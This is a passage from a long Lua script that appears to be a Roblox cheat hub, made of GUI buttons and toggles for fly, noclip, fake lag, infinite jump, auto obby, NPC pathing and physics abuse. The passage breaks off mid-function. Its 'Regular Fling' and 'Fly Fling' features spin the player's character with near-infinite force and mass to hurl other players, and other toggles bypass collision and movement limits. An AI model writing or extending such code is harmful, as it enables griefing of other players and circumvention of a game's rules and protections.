  1787. if game.Players.LocalPlayer.Character:FindFirstChild("Head") and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(plr.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
  1788. for i,c in pairs(part:GetChildren()) do
  1789. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  1790. c:Destroy()
  1791. end
  1792. end
  1793. local ForceInstance = Instance.new("BodyPosition")
  1794. ForceInstance.Parent = part
  1795. ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  1796. table.insert(Forces, ForceInstance)
  1797. if not table.find(frozenParts,part) then
  1798. table.insert(frozenParts,part)
  1799. end
  1800. end
  1801. end
  1802. if not simRadius then
  1803. SimRad()
  1804. end
  1805. for i,c in pairs(Forces) do
  1806. c.Position = plr.Character.Head.Position
  1807. end
  1808. end
  1809. end
  1810. })
  1811.  
  1812. LP:AddButton({
  1813. Name = "Upside-Down Body",
  1814. Callback = function()
  1815. local lp = game:GetService("Players").LocalPlayer
  1816. local c = lp.Character
  1817. local hrp0 = c:FindFirstChild("HumanoidRootPart")
  1818. local hrp1 = hrp0:Clone()
  1819. c.Parent = nil
  1820. hrp0.Parent = hrp1
  1821. hrp0.RootJoint.Part0 = nil
  1822. hrp1.Parent = c
  1823. c.Parent = workspace
  1824. local h = game:GetService("RunService").Heartbeat
  1825. hrp0.Transparency = 0.5
  1826. while h:Wait() and c and c.Parent do
  1827. hrp0.CFrame = hrp1.CFrame
  1828. hrp0.Orientation += Vector3.new(0, 0, 180)
  1829. hrp0.Position -= Vector3.new(0, 1, 0)
  1830. hrp0.Velocity = hrp1.Velocity
  1831. end
  1832. end
  1833. })
  1834.  
  1835. LP:AddButton({
  1836. Name = "Sit",
  1837. Callback = function()
  1838. plr.Character:FindFirstChildOfClass("Humanoid").Sit = true
  1839. end
  1840. })
  1841.  
  1842. LP:AddButton({
  1843. Name = "Sit Walk",
  1844. Callback = function()
  1845. local anims = plr.Character.Animate
  1846. local sit = anims.sit:FindFirstChildOfClass("Animation").AnimationId
  1847. anims.idle:FindFirstChildOfClass("Animation").AnimationId = sit
  1848. anims.walk:FindFirstChildOfClass("Animation").AnimationId = sit
  1849. anims.run:FindFirstChildOfClass("Animation").AnimationId = sit
  1850. anims.jump:FindFirstChildOfClass("Animation").AnimationId = sit
  1851. if plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
  1852. plr.Character:FindFirstChildOfClass('Humanoid').HipHeight = 0.5
  1853. else
  1854. plr.Character:FindFirstChildOfClass('Humanoid').HipHeight = -1.5
  1855. end
  1856. end
  1857. })
  1858.  
  1859. LP:AddButton({
  1860. Name = "LayDown Forward",
  1861. Callback = function()
  1862. local Human = plr.Character and plr.Character:FindFirstChildOfClass('Humanoid')
  1863. if not Human then
  1864. return
  1865. end
  1866. Human.Sit = true
  1867. task.wait(.1)
  1868. Human.RootPart.CFrame = Human.RootPart.CFrame * CFrame.Angles(math.pi * .5, 0, 0)
  1869. for _, v in ipairs(Human:GetPlayingAnimationTracks()) do
  1870. v:Stop()
  1871. end
  1872. end
  1873. })
  1874.  
  1875. LP:AddButton({
  1876. Name = "LayDown Back",
  1877. Callback = function()
  1878. local Human = plr.Character and plr.Character:FindFirstChildOfClass('Humanoid')
  1879. if not Human then
  1880. return
  1881. end
  1882. Human.Sit = true
  1883. task.wait(.1)
  1884. Human.RootPart.CFrame = Human.RootPart.CFrame * CFrame.Angles(math.pi * .4, 10, 0)
  1885. for _, v in ipairs(Human:GetPlayingAnimationTracks()) do
  1886. v:Stop()
  1887. end
  1888. end
  1889. })
  1890.  
  1891.  
  1892. LP:AddButton({
  1893. Name = "LayDown Left",
  1894. Callback = function()
  1895. local Human = plr.Character and plr.Character:FindFirstChildOfClass('Humanoid')
  1896. if not Human then
  1897. return
  1898. end
  1899. Human.Sit = true
  1900. task.wait(.1)
  1901. Human.RootPart.CFrame = Human.RootPart.CFrame * CFrame.Angles(math.pi * .4, 5, 0)
  1902. for _, v in ipairs(Human:GetPlayingAnimationTracks()) do
  1903. v:Stop()
  1904. end
  1905. end
  1906. })
  1907.  
  1908. LP:AddButton({
  1909. Name = "LayDown Right",
  1910. Callback = function()
  1911. local Human = plr.Character and plr.Character:FindFirstChildOfClass('Humanoid')
  1912. if not Human then
  1913. return
  1914. end
  1915. Human.Sit = true
  1916. task.wait(.1)
  1917. Human.RootPart.CFrame = Human.RootPart.CFrame * CFrame.Angles(math.pi * .4, -5, 0)
  1918. for _, v in ipairs(Human:GetPlayingAnimationTracks()) do
  1919. v:Stop()
  1920. end
  1921. end
  1922. })
  1923.  
  1924. LP:AddToggle({
  1925. Name = "Regular Fling",
  1926. Default = false,
  1927. Callback = function(flingto)
  1928. if flingto == true then
  1929. local RootPart = plr.Character.HumanoidRootPart
  1930. if not RootPart then return end
  1931. FlingTBL.OldVelocity = RootPart.Velocity
  1932. local bv = Instance.new("BodyAngularVelocity")
  1933. FlingTBL.bv = bv
  1934. bv.MaxTorque = Vector3.new(1, 1, 1) * math.huge
  1935. bv.P = math.huge
  1936. bv.AngularVelocity = Vector3.new(0, 9e5, 0)
  1937. bv.Parent = RootPart
  1938. local Char = plr.Character:GetChildren()
  1939. for i,v in next, Char do
  1940. if v:IsA("BasePart") then
  1941. v.CanCollide = false
  1942. v.Massless = true
  1943. v.Velocity = Vector3.new(0,0,0)
  1944. end
  1945. end
  1946. FlingTBL.Noclipping2 = game:GetService("RunService").Stepped:Connect(function()
  1947. for i, v in next, Char do
  1948. if v:IsA("BasePart") then
  1949. v.CanCollide = false
  1950. end
  1951. end
  1952. end)
  1953. if Regulars == false then
  1954. Regulars = true
  1955. else
  1956. flingto = false
  1957. local RootPart = plr.Character.HumanoidRootPart
  1958. if not RootPart then return end
  1959. FlingTBL.OldPos = RootPart.CFrame
  1960. local Char = plr.Character:GetChildren()
  1961. if FlingTBL ~= nil then
  1962. FlingTBL.bv:Destroy()
  1963. FlingTBL.bv = nil
  1964. end
  1965. if FlingTBL.Noclipping2 ~= nil then
  1966. FlingTBL.Noclipping2:Disconnect()
  1967. FlingTBL.Noclipping2 = nil
  1968. end
  1969. for i, v in next, Char do
  1970. if v:IsA("BasePart") then
  1971. v.CanCollide = true
  1972. v.Massless = false
  1973. end
  1974. end
  1975. FlingTBL.isRunning = game:GetService("RunService").Stepped:Connect(function()
  1976. if FlingTBL.OldPos ~= nil then
  1977. RootPart.CFrame = FlingTBL.OldPos
  1978. end
  1979. if FlingTBL.OldVelocity ~= nil then
  1980. RootPart.Velocity = FlingTBL.OldVelocity
  1981. end
  1982. end)
  1983. wait(2)
  1984. RootPart.Anchored = true
  1985. if FlingTBL.isRunning ~= nil then
  1986. FlingTBL.isRunning:Disconnect()
  1987. FlingTBL.isRunning = nil
  1988. end
  1989. RootPart.Anchored = false
  1990. if FlingTBL.OldVelocity ~= nil then
  1991. RootPart.Velocity = FlingTBL.OldVelocity
  1992. end
  1993. if FlingTBL.OldPos ~= nil then
  1994. RootPart.CFrame = FlingTBL.OldPos
  1995. end
  1996. for i,m in pairs(plr.Character.HumanoidRootPart:GetChildren()) do
  1997. if m.Name == "BodyAngularVelocity" then
  1998. m:Destroy()
  1999. end
  2000. end
  2001. wait()
  2002. FlingTBL.OldVelocity = nil
  2003. FlingTBL.OldPos = nil
  2004. Regulars = false
  2005. end
  2006. end
  2007. end
  2008. })
  2009.  
  2010. LP:AddToggle({
  2011. Name = "Very Strengthen",
  2012. Default = false,
  2013. Callback = function(lolstreng)
  2014. if lolstreng == true then
  2015. for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2016. if v:IsA("Part") then
  2017.  
  2018. v.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  2019. end
  2020. end
  2021. else
  2022. lolstreng = false
  2023. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2024. if child.ClassName == "Part" then
  2025. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 0, 0)
  2026. end
  2027. end
  2028. end
  2029. end
  2030. })
  2031.  
  2032. LP:AddToggle({
  2033. Name = "Strengthen",
  2034. Default = false,
  2035. Callback = function(lolstreng)
  2036. if lolstreng == true then
  2037. for i,player in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  2038. if player.ClassName == "Part" then
  2039. player.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
  2040. end
  2041. end
  2042. else
  2043. lolstreng = false
  2044. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2045. if child.ClassName == "Part" then
  2046. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  2047. end
  2048. end
  2049. end
  2050. end
  2051. })
  2052.  
  2053. LP:AddToggle({
  2054. Name = "Weaken",
  2055. Default = false,
  2056. Callback = function(lolweak)
  2057. if lolweak == true then
  2058. for i,player in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
  2059. if player.ClassName == "Part" then
  2060. player.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
  2061. end
  2062. end
  2063. else
  2064. lolweak = false
  2065. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2066. if child.ClassName == "Part" then
  2067. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
  2068. end
  2069. end
  2070. end
  2071. end
  2072. })
  2073.  
  2074. LP:AddToggle({
  2075. Name = "Noclip",
  2076. Default = false,
  2077. Callback = function(Noclip)
  2078. if Noclip == true then
  2079. Clip = false
  2080. wait(0.1)
  2081. local function NoclipLoop()
  2082. if Clip == false and plr.Character ~= nil then
  2083. for _, child in pairs(plr.Character:GetDescendants()) do
  2084. if child:IsA("BasePart") and child.CanCollide == true then
  2085. child.CanCollide = false
  2086. end
  2087. end
  2088. end
  2089. end
  2090. Noclipping = game:GetService('RunService').Stepped:Connect(NoclipLoop)
  2091. else
  2092. Noclip = false
  2093. if Noclipping then
  2094. Noclipping:Disconnect()
  2095. end
  2096. Clip = true
  2097. end
  2098. end
  2099. })
  2100.  
  2101. LP:AddToggle({
  2102. Name = "Freeze",
  2103. Default = false,
  2104. Callback = function(plrfree)
  2105. if plrfree == true then
  2106. for i,v in pairs(plr.Character:GetDescendants()) do
  2107. if v:IsA("BasePart") then
  2108. v.Anchored = true
  2109. end
  2110. end
  2111. else
  2112. plrfree = false
  2113. for i,v in pairs(plr.Character:GetDescendants()) do
  2114. if v:IsA("BasePart") then
  2115. v.Anchored = false
  2116. end
  2117. end
  2118. end
  2119. end
  2120. })
  2121.  
  2122. function sFLY(vfly)
  2123. repeat wait() until Players.LocalPlayer and Players.LocalPlayer.Character and Players.LocalPlayer.Character.HumanoidRootPart and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
  2124. repeat wait() until IYMouse
  2125. if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end
  2126.  
  2127. local T = Players.LocalPlayer.Character.HumanoidRootPart
  2128. local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  2129. local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  2130. local SPEED = 0
  2131.  
  2132. local function FLY()
  2133. FLYING = true
  2134. local BG = Instance.new('BodyGyro')
  2135. local BV = Instance.new('BodyVelocity')
  2136. BG.P = 9e4
  2137. BG.Parent = T
  2138. BV.Parent = T
  2139. BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  2140. BG.cframe = T.CFrame
  2141. BV.velocity = Vector3.new(0, 0, 0)
  2142. BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
  2143. task.spawn(function()
  2144. repeat wait()
  2145. if not vfly and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
  2146. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  2147. end
  2148. if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
  2149. SPEED = 50
  2150. elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
  2151. SPEED = 0
  2152. end
  2153. if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
  2154. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  2155. lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
  2156. elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
  2157. BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
  2158. else
  2159. BV.velocity = Vector3.new(0, 0, 0)
  2160. end
  2161. BG.cframe = workspace.CurrentCamera.CoordinateFrame
  2162. until not FLYING
  2163. CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  2164. lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
  2165. SPEED = 0
  2166. BG:Destroy()
  2167. BV:Destroy()
  2168. if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
  2169. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  2170. end
  2171. end)
  2172. end
  2173. flyKeyDown = IYMouse.KeyDown:Connect(function(KEY)
  2174. if KEY:lower() == 'w' then
  2175. CONTROL.F = (vfly and vehicleflyspeed or iyflyspeed)
  2176. elseif KEY:lower() == 's' then
  2177. CONTROL.B = - (vfly and vehicleflyspeed or iyflyspeed)
  2178. elseif KEY:lower() == 'a' then
  2179. CONTROL.L = - (vfly and vehicleflyspeed or iyflyspeed)
  2180. elseif KEY:lower() == 'd' then
  2181. CONTROL.R = (vfly and vehicleflyspeed or iyflyspeed)
  2182. elseif QEfly and KEY:lower() == 'e' then
  2183. CONTROL.Q = (vfly and vehicleflyspeed or iyflyspeed)*2
  2184. elseif QEfly and KEY:lower() == 'q' then
  2185. CONTROL.E = -(vfly and vehicleflyspeed or iyflyspeed)*2
  2186. end
  2187. pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Track end)
  2188. end)
  2189. flyKeyUp = IYMouse.KeyUp:Connect(function(KEY)
  2190. if KEY:lower() == 'w' then
  2191. CONTROL.F = 0
  2192. elseif KEY:lower() == 's' then
  2193. CONTROL.B = 0
  2194. elseif KEY:lower() == 'a' then
  2195. CONTROL.L = 0
  2196. elseif KEY:lower() == 'd' then
  2197. CONTROL.R = 0
  2198. elseif KEY:lower() == 'e' then
  2199. CONTROL.Q = 0
  2200. elseif KEY:lower() == 'q' then
  2201. CONTROL.E = 0
  2202. end
  2203. end)
  2204. FLY()
  2205. end
  2206.  
  2207. function NOFLY()
  2208. FLYING = false
  2209. if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end
  2210. if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then
  2211. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  2212. end
  2213. pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end)
  2214. end
  2215.  
  2216. LP:AddToggle({
  2217. Name = "Fly",
  2218. Default = false,
  2219. Callback = function(Fly)
  2220. if Fly == true then
  2221. NOFLY()
  2222. wait()
  2223. sFLY()
  2224. else
  2225. Fly = false
  2226. NOFLY()
  2227. end
  2228. end
  2229. })
  2230.  
  2231. LP:AddTextbox({
  2232. Name = "Fly Speed",
  2233. Default = "",
  2234. TextDisappear = true,
  2235. Callback = function(Flyspeed)
  2236. iyflyspeed = Flyspeed
  2237. end
  2238. })
  2239.  
  2240. LP:AddToggle({
  2241. Name = "CFrame Fly",
  2242. Default = false,
  2243. Callback = function(cFly)
  2244. if cFly == true then
  2245. plr.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
  2246. local Head = plr.Character:WaitForChild("Head")
  2247. Head.Anchored = true
  2248. CFloop = game:GetService("RunService").Heartbeat:Connect(function(deltaTime)
  2249. local moveDirection = plr.Character:FindFirstChildOfClass('Humanoid').MoveDirection * (CFspeed * deltaTime)
  2250. local headCFrame = Head.CFrame
  2251. local cameraCFrame = game.Workspace.CurrentCamera.CFrame
  2252. local cameraOffset = headCFrame:ToObjectSpace(cameraCFrame).Position
  2253. cameraCFrame = cameraCFrame * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1)
  2254. local cameraPosition = cameraCFrame.Position
  2255. local headPosition = headCFrame.Position
  2256.  
  2257. local objectSpaceVelocity = CFrame.new(cameraPosition, Vector3.new(headPosition.X, cameraPosition.Y, headPosition.Z)):VectorToObjectSpace(moveDirection)
  2258. Head.CFrame = CFrame.new(headPosition) * (cameraCFrame - cameraPosition) * CFrame.new(objectSpaceVelocity)
  2259. end)
  2260. else
  2261. cFly = false
  2262. if CFloop then
  2263. CFloop:Disconnect()
  2264. plr.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
  2265. local Head = plr.Character:WaitForChild("Head")
  2266. Head.Anchored = false
  2267. end
  2268. end
  2269. end
  2270. })
  2271.  
  2272. LP:AddTextbox({
  2273. Name = "CFrame Fly Speed",
  2274. Default = "",
  2275. TextDisappear = true,
  2276. Callback = function(cFlyspeed)
  2277. CFspeed = cFlyspeed
  2278. end
  2279. })
  2280.  
  2281. LP:AddToggle({
  2282. Name = "Fly Fling",
  2283. Default = false,
  2284. Callback = function(Fly)
  2285. if Fly == true then
  2286. NOFLY()
  2287. wait()
  2288. for i,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2289. if v:IsA("Part") then
  2290.  
  2291. v.CustomPhysicalProperties = PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
  2292. end
  2293. end
  2294. Noclip()
  2295. sFLY(true)
  2296. local BodyAV = Instance.new("BodyAngularVelocity", game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"))
  2297. BodyAV.AngularVelocity = Vector3.new(0, 2000, 0)
  2298. BodyAV.MaxTorque = Vector3.new(0, math.huge, 0)
  2299. BodyAV.Name = "FlyFling"
  2300. BodyAV.P = 1250
  2301. else
  2302. Fly = false
  2303. NOFLY()
  2304. for _, child in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
  2305. if child.ClassName == "Part" then
  2306. child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5, 0, 0)
  2307. end
  2308. end
  2309. for i,v in pairs(plr.Character:GetDescendants()) do
  2310. if v:IsA("BodyAngularVelocity") and v.Name == "FlyFling" then
  2311. v:Destroy()
  2312. end
  2313. end
  2314. vNoclip = false
  2315. if Noclipping then
  2316. Noclipping:Disconnect()
  2317. end
  2318. Clip = true
  2319. end
  2320. end
  2321. })
  2322.  
  2323. LP:AddTextbox({
  2324. Name = "Fly Fling Speed",
  2325. Default = "",
  2326. TextDisappear = true,
  2327. Callback = function(vFlyspeedsz)
  2328. vehicleflyspeed = vFlyspeedsz
  2329. end
  2330. })
  2331.  
  2332. LP:AddToggle({
  2333. Name = "Infinite Jump",
  2334. Default = false,
  2335. Callback = function(Value)
  2336. if Value == true then
  2337. local bool = true
  2338. local Player = game:GetService("Players").LocalPlayer
  2339. local Mouse = Player:GetMouse()
  2340. Mouse.KeyDown:connect(function(k)
  2341. if _G.infinjump then
  2342. if k:byte() == 32 then
  2343. Humanoid = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
  2344. Humanoid:ChangeState("Jumping")
  2345. wait(0.1)
  2346. Humanoid:ChangeState("Seated")
  2347. end
  2348. end
  2349. end)
  2350.  
  2351. if bool == true then
  2352. _G.infinjump = true
  2353. end
  2354. else
  2355. Value = false
  2356. _G.infinjump = false
  2357. end
  2358. end
  2359. })
  2360.  
  2361. LP:AddToggle({
  2362. Name = "Infinite Jump Fly",
  2363. Default = false,
  2364. Callback = function(jumpsFly)
  2365. if jumpsFly == true then
  2366. if flyjump then
  2367. flyjump:Disconnect()
  2368. end
  2369. flyjump = UserInputService.JumpRequest:Connect(function(Jump)
  2370. game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
  2371. end)
  2372. else
  2373. jumpsFly = false
  2374. if flyjump then
  2375. flyjump:Disconnect()
  2376. end
  2377. end
  2378. end
  2379. })
  2380.  
  2381. LP:AddToggle({
  2382. Name = "Super Fake Character Lag",
  2383. Default = false,
  2384. Callback = function(fakelaglol)
  2385. if fakelaglol == true then
  2386. Lagging = true
  2387. repeat wait()
  2388. plr.Character.HumanoidRootPart.Anchored = false
  2389. wait(.1)
  2390. plr.Character.HumanoidRootPart.Anchored = true
  2391. wait(.1)
  2392. until Lagging == false
  2393. else
  2394. fakelaglol = false
  2395. Lagging = false
  2396. wait(.3)
  2397. plr.Character.HumanoidRootPart.Anchored = false
  2398. end
  2399. end
  2400. })
  2401.  
  2402. LP:AddToggle({
  2403. Name = "Fake Character Lag",
  2404. Default = false,
  2405. Callback = function(fakelaglol)
  2406. if fakelaglol == true then
  2407. Lagging = true
  2408. repeat wait()
  2409. plr.Character.HumanoidRootPart.Anchored = false
  2410. wait(1.5)
  2411. plr.Character.HumanoidRootPart.Anchored = true
  2412. wait(3)
  2413. until Lagging == false
  2414. else
  2415. fakelaglol = false
  2416. Lagging = false
  2417. wait(.3)
  2418. plr.Character.HumanoidRootPart.Anchored = false
  2419. end
  2420. end
  2421. })
  2422.  
  2423. LP:AddToggle({
  2424. Name = "Auto Jump",
  2425. Default = false,
  2426. Callback = function(autojump)
  2427. if autojump == true then
  2428. local Char = plr.Character
  2429. local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
  2430. local function autoJump()
  2431. if Char and Human then
  2432. local check1 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position-Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent)
  2433. local check2 = workspace:FindPartOnRay(Ray.new(Human.RootPart.Position+Vector3.new(0,1.5,0), Human.RootPart.CFrame.lookVector*3), Human.Parent)
  2434. if check1 or check2 then
  2435. Human.Jump = true
  2436. end
  2437. end
  2438. end
  2439. autoJump()
  2440. HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or game:GetService("RunService").RenderStepped:Connect(autoJump)
  2441. HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or plr.CharacterAdded:Connect(function(nChar)
  2442. Char, Human = nChar, nChar:WaitForChild("Humanoid")
  2443. autoJump()
  2444. HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or game:GetService("RunService").RenderStepped:Connect(autoJump)
  2445. end)
  2446. else
  2447. autojump = false
  2448. HumanModCons.ajLoop = (HumanModCons.ajLoop and HumanModCons.ajLoop:Disconnect() and false) or nil
  2449. HumanModCons.ajCA = (HumanModCons.ajCA and HumanModCons.ajCA:Disconnect() and false) or nil
  2450. end
  2451. end
  2452. })
  2453.  
  2454. LP:AddToggle({
  2455. Name = "Auto Obby",
  2456. Default = false,
  2457. Callback = function(autoob)
  2458. if autoob == true then
  2459. AutoObby = true
  2460. plr.Character.Humanoid.Running:Connect(function(speed)
  2461. if speed > 0 and AutoObby == true and plr.Character.Humanoid.FloorMaterial == Enum.Material.Air then
  2462. plr.Character.Humanoid:ChangeState("Jumping")
  2463. end
  2464. end)
  2465. else
  2466. autoob = false
  2467. AutoObby = false
  2468. end
  2469. end
  2470. })
  2471.  
  2472. LP:AddToggle({
  2473. Name = "Edge Jump",
  2474. Default = false,
  2475. Callback = function(edgejump)
  2476. if edgejump == true then
  2477. local Char = plr.Character
  2478. local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
  2479. -- Full credit to NoelGamer06 @V3rmillion
  2480. local state
  2481. local laststate
  2482. local lastcf
  2483. local function edgejump()
  2484. if Char and Human then
  2485. laststate = state
  2486. state = Human:GetState()
  2487. if laststate ~= state and state == Enum.HumanoidStateType.Freefall and laststate ~= Enum.HumanoidStateType.Jumping then
  2488. Char.HumanoidRootPart.CFrame = lastcf
  2489. Char.HumanoidRootPart.Velocity = Vector3.new(Char.HumanoidRootPart.Velocity.X, Human.JumpPower or Human.JumpHeight, Char.HumanoidRootPart.Velocity.Z)
  2490. end
  2491. lastcf = Char.HumanoidRootPart.CFrame
  2492. end
  2493. end
  2494. edgejump()
  2495. HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or game:GetService("RunService").RenderStepped:Connect(edgejump)
  2496. HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or plr.CharacterAdded:Connect(function(nChar)
  2497. Char, Human = nChar, nChar:WaitForChild("Humanoid")
  2498. edgejump()
  2499. HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or game:GetService("RunService").RenderStepped:Connect(edgejump)
  2500. end)
  2501. else
  2502. edgejump = false
  2503. HumanModCons.ejLoop = (HumanModCons.ejLoop and HumanModCons.ejLoop:Disconnect() and false) or nil
  2504. HumanModCons.ejCA = (HumanModCons.ejCA and HumanModCons.ejCA:Disconnect() and false) or nil
  2505. end
  2506. end
  2507. })
  2508.  
  2509. function noSitFunc()
  2510. wait()
  2511. if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit then
  2512. Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit = false
  2513. end
  2514. end
  2515.  
  2516. LP:AddToggle({
  2517. Name = "No Sit",
  2518. Default = false,
  2519. Callback = function(nosit)
  2520. if nosit == true then
  2521. if noSit then
  2522. noSit:Disconnect()
  2523. nositDied:Disconnect()
  2524. end
  2525. noSit = Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid'):GetPropertyChangedSignal("Sit"):Connect(noSitFunc)
  2526. local function nositDiedFunc()
  2527. repeat wait() until plr.Character ~= nil and plr.Character:FindFirstChildOfClass("Humanoid")
  2528. noSit:Disconnect()
  2529. noSit = Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid'):GetPropertyChangedSignal("Sit"):Connect(noSitFunc)
  2530. end
  2531. nositDied = plr.CharacterAdded:Connect(nositDiedFunc)
  2532. else
  2533. nosit = false
  2534. if noSit then
  2535. noSit:Disconnect()
  2536. nositDied:Disconnect()
  2537. end
  2538. end
  2539. end
  2540. })
  2541.  
  2542. local NPCTarget
  2543.  
  2544. NPC:AddTextbox({
  2545. Name = "NPC Name",
  2546. Default = "",
  2547. TextDisappear = true,
  2548. Callback = function(NPClol)
  2549. local Target = unpack(GetNPC(NPClol))
  2550. NPCTarget = Target
  2551. end
  2552. })
  2553.  
  2554. NPC:AddToggle({
  2555. Name = "Walk To NPC",
  2556. Default = false,
  2557. Callback = function(Walkn)
  2558. if Walkn == true then
  2559. if plr.Character:FindFirstChildOfClass('Humanoid') and plr.Character:FindFirstChildOfClass('Humanoid').SeatPart then
  2560. plr.Character:FindFirstChildOfClass('Humanoid').Sit = false
  2561. wait(.1)
  2562. end
  2563. if WalkTo == false then
  2564. WalkTo = true
  2565. repeat wait()
  2566. plr.Character:FindFirstChild("Humanoid"):MoveTo(getRoot(NPCTarget).Position)
  2567. until NPCTarget == nil or not getRoot(NPCTarget) or WalkTo == false
  2568. end
  2569. else
  2570. Walkn = false
  2571. WalkTo = false
  2572. end
  2573. end
  2574. })
  2575.  
  2576. NPC:AddToggle({
  2577. Name = "Pathfind Walk To NPC",
  2578. Default = false,
  2579. Callback = function(Walkns)
  2580. if Walkns == true then
  2581. WalkTo = false
  2582. local PathService = game:GetService("PathfindingService")
  2583. local hum = plr.Character:FindFirstChildOfClass("Humanoid")
  2584. local path = PathService:CreatePath()
  2585.  
  2586. if WalkTo == false then
  2587. WalkTo = true
  2588. repeat wait()
  2589. local success, response = pcall(function()
  2590. path:ComputeAsync(getRoot(plr.Character).Position, getRoot(NPCTarget).Position)
  2591. local waypoints = path:GetWaypoints()
  2592. local distance
  2593. for waypointIndex, waypoint in pairs(waypoints) do
  2594. local waypointPosition = waypoint.Position
  2595. hum:MoveTo(waypointPosition)
  2596. repeat
  2597. distance = (waypointPosition - hum.Parent.PrimaryPart.Position).magnitude
  2598. wait()
  2599. until
  2600. distance <= 5
  2601. end
  2602. end)
  2603. if not success then
  2604. plr.Character:FindFirstChildOfClass('Humanoid'):MoveTo(getRoot(NPCTarget).Position)
  2605. end
  2606. until NPCTarget == nil or not getRoot(NPCTarget) or WalkTo == false
  2607. end
  2608. else
  2609. Walkns = false
  2610. WalkTo = false
  2611. end
  2612. end
  2613. })
  2614.  
  2615. NPC:AddToggle({
  2616. Name = "Control NPC",
  2617. Default = false,
  2618. Callback = function(Controlwho)
